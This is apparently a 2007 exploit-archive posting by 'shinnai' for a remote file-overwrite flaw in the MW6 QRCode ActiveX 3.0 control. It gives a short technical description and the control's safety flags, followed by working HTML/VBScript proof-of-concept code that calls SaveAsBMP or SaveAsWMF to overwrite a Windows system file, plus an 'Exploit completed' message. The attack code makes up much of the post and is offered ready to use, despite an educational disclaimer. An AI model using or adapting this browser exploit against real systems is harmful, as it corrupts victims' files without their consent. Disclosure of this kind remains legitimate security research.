mw6-overwrite.txt
Posted on 18 September 2007
<pre> <code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">----------------------------------------------------------------------------- <b>MW6 Technologies QRCode ActiveX 3.0 (MW6QRCode.dll) Remote File Overwrite</b> url: www.mw6tech.com Author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org This was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7 <b>Description: This control contains two methods, "SaveAsBMP()" and "SaveAsWMF()", which write to a file specified as an argument. These can be exploited to overwrite and corrupt arbitrary files on the system in the context of the currently logged-on user. Marked as: RegKey Safe for Script: False RegKey Safe for Init: False Implements IObjectSafety: True IDisp Safe: Safe for untrusted: caller,data IPersist Safe: Safe for untrusted: caller,data IPStorage Safe: Safe for untrusted: caller,data KillBitSet: Falso</b> ----------------------------------------------------------------------------- <object classid='clsid:3BB56637-651D-4D1D-AFA4-C0506F57EAF8' id='test' width='24' height='24'></object> <select style="width: 404px" name="Pucca"> <option value = "SaveAsBMP">SaveAsBMP</option> <option value = "SaveAsWMF">SaveAsWMF</option> </select> <input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <script language='vbscript'> Sub tryMe on error resume next Dim MyMsg if Pucca.value = "SaveAsBMP" then test.SaveAsBMP "c:windowssystem_.ini" MsgBox "Exploit completed." elseif Pucca.value = "SaveAsWMF" then test.SaveAsWMF "c:windowssystem_.ini" MsgBox "Exploit completed." end if End Sub </script> </span></span> </code></pre>
